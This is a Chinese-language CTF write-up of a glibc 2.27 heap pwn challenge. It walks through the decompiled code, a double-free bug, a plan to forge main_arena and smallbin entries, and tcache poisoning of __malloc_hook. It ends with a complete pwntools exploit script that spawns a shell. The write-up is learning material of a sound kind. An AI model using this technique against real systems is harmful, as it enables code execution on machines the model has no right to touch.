最近刷了道有意思的pwn,做个记录分享一下
程序逻辑
Add 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 sub_1340()
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
size_t length; // [rsp+8h] [rbp-18h]
__int64 price; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_1302();
printf("What item do you want to buy: ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 3 )
{
printf("How many: ");
__isoc99_scanf("%lu", &price);
printf("How long is your note: ");
__isoc99_scanf("%d", &length);
if ( (unsigned int)length <= 0x100 )
{
for ( HIDWORD(length) = 0; SHIDWORD(length) <= 47 && qword_4080[SHIDWORD(length)]; ++HIDWORD(length) )
;
if ( HIDWORD(length) != 48 )
{
qword_4080[SHIDWORD(length)] = (char *)malloc((unsigned int)(length + 40));
strcpy(qword_4080[SHIDWORD(length)], (&str_name)[v1]);
printf("Content: ");
read(0, qword_4080[SHIDWORD(length)] + 32, (unsigned int)length);
*(_QWORD *)&qword_4080[SHIDWORD(length)][(unsigned int)length + 32] = price;
puts("Done!");
}
}
}
return __readfsqword(0x28u) ^ v4;
}
Show 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
**int sub_1532()
{
char *v0; // rax
char *v1; // rax
char *v2; // rsi
signed int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 47; ++i )
{
v0 = qword_4080[i];
if ( v0 )
{
v1 = qword_4080[i];
v2 = qword_4080[i];
LODWORD(v0) = printf("Name: %s, Note: %s\n");
}
}
return (signed int)v0;
}
Delete 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_1252()
{
int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Which item are you going to pay for: ");
__isoc99_scanf("%d", &idx);
if ( idx >= 0 && idx <= 48 && qword_4080[idx] )
free(qword_4080[idx]);
else
puts("No such item");
return __readfsqword(0x28u) ^ v2;
}
漏洞点明显在Delete函数,free时没有将存放chunk的数组置零,造成double free
利用思路
泄露libc,heap地址后,可以利用double free来攻击,但是我们每次分配到chunk时,只能从chunk_mem的0x20字节偏移处开始写数据,并不能覆盖到每个chunk的fd指针,所以直接利用double free来实现任意地址分配是不行的。
此题是在glibc2.27环境,tcache可以将一个大的chunk放入它的链表,通过double free,可以让这个大chunk同时存在于unsorted bin与tcache链表中;这时通过大chunk中残留的main_arena值,分配到main_arena,覆盖smallbin[3](也就是管理大小为0x50的一个链表结构)为一个可控的fake_chunk(该fake_chunk的大小为0x41,且里面的fd与bk指针要指向smallbin[3]的chunk头),再分配到这个0x50大小的chunk以此来构造overlap chunk(由于写入数据时main_arena的top指针会被覆盖成商品名称,所以后期不能从top_chunk分配,之前就要构造好chunk结构),最后利用tcache poisoning覆盖到malloc_hook与realloc_hook
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
#context.log_level = 'debug'
p = process('./amazon')
#p=remote("121.41.38.38",9999)
libc=ELF("./libc-2.27.so")
def g(p,data=False):
gdb.attach(p,data)
raw_input()
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def rl():
return p.recvline()
def re(x):
return p.recv(x)
def add(idx,price,length,data):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
ru("tent: ")
se(data)
def add2(idx,price,length):
ru("Your choice: ")
sl(str(1))
ru("uy: ")
sl(str(idx))
ru("many: ")
sl(str(price))
ru("note: ")
sl(str(length))
def show():
ru("Your choice: ")
sl(str(2))
def free(idx):
ru("Your choice: ")
sl(str(3))
ru("for: ")
sl(str(idx))
add(1,0x10,0x90,"1"*8) #chunk0 (leak_main_arena)
add(1,0x10,0x80,p64(0)) #chunk1 (There's a fake chunk in it.)
free(1)
add(1,0x10,0x30,"3"*8) #chunk2 (dotcache poisoning) ## chunk1 can overflow to chunk2
free(2)
add(1,0x10,0x20,"4"*8)
add(1,0x10,0x20,"2"*8)
free(0)
free(0)
show()
ru("Name: ")
heap=u64(re(6).ljust(8,"\x00"))-0x260
print hex(heap)
for i in range(6):
free(0)
show()
ru("Name: ")
lib=u64(re(6).ljust(8,"\x00"))-0x3ebca0
print hex(lib)
hook=libc.symbols["__malloc_hook"]
hook=lib+hook
print hex(hook)
one=lib+0x10a38c
realloc=lib+libc.symbols["realloc"]
add(1,0x10,0x80,"y"*0x60+p64(0)+p64(0x51)+p64(lib+0x3ebce0)*2) # malloc to chunk1 (set fake_chunk and its fd bk -> small bin[3]_head)
add(1,0x10,0x90,"1"*8) # malloc padding
add(1,0x10,0x90,p64(lib+0x3ebcb0)*2+p64(lib+0x3ebcc0)*2+p64(lib+0x3ebcd0)*2+p64(heap+0x340+0x60)*2) ## malloc to main_arena to modify smallbin[3] to fake_chunk
add(1,0x10,0x20,p64(hook-0x28)) ## malloc to fake_chunk, edit,and overflow to chunk2
add(1,0x10,0x30,"wwe")
add(1,0x10,0x30,p64(one)+p64(realloc+0x9))
add2(1,1,0x60)
p.interactive()